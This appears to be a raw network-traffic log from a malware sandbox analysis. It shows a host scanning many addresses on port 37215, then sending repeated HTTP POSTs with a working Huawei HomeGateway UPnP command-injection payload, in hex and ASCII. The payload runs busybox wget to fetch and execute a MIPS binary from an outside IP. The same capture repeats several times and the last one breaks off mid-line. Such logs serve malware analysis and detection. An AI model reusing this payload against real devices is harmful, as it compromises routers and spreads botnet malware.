Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.40.38.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.223.166.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.201.118.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.123.217.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.168.226.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.4.86.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.105.211.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.142.43.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.196.64.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.134.186.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.178.255.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.44.115.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.173.140.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.24.244.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.133.95.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.14.143.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.201.92.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.146.14.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.55.202.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.255.140.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.135.195.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.101.187.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.226.28.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.150.255.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.46.112.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.209.103.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.14.31.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.112.14.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.95.224.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.26.237.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.18.106.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.113.2.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.115.249.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.228.232.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.179.157.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.87.101.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.4.26.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.66.10.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.24.140.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.205.5.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.175.204.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.226.53.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.105.204.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.134.92.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.38.236.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.123.28.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.123.201.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.135.31.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.128.20.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.126.11.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.125.90.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.37.77.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.19.65.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.221.92.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.131.32.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.40.44.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.64.143.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.140.209.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.116.119.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.192.130.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.214.196.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.245.16.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.236.238.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.52.4.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.29.1.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.144.56.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.102.111.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.238.38.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.9.53.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.217.152.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.33.233.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.18.20.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.114.42.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.134.154.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.225.18.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 197.246.42.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.138.58.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.144.190.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.182.4.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 156.158.36.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:29479 -> 41.73.151.9:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" 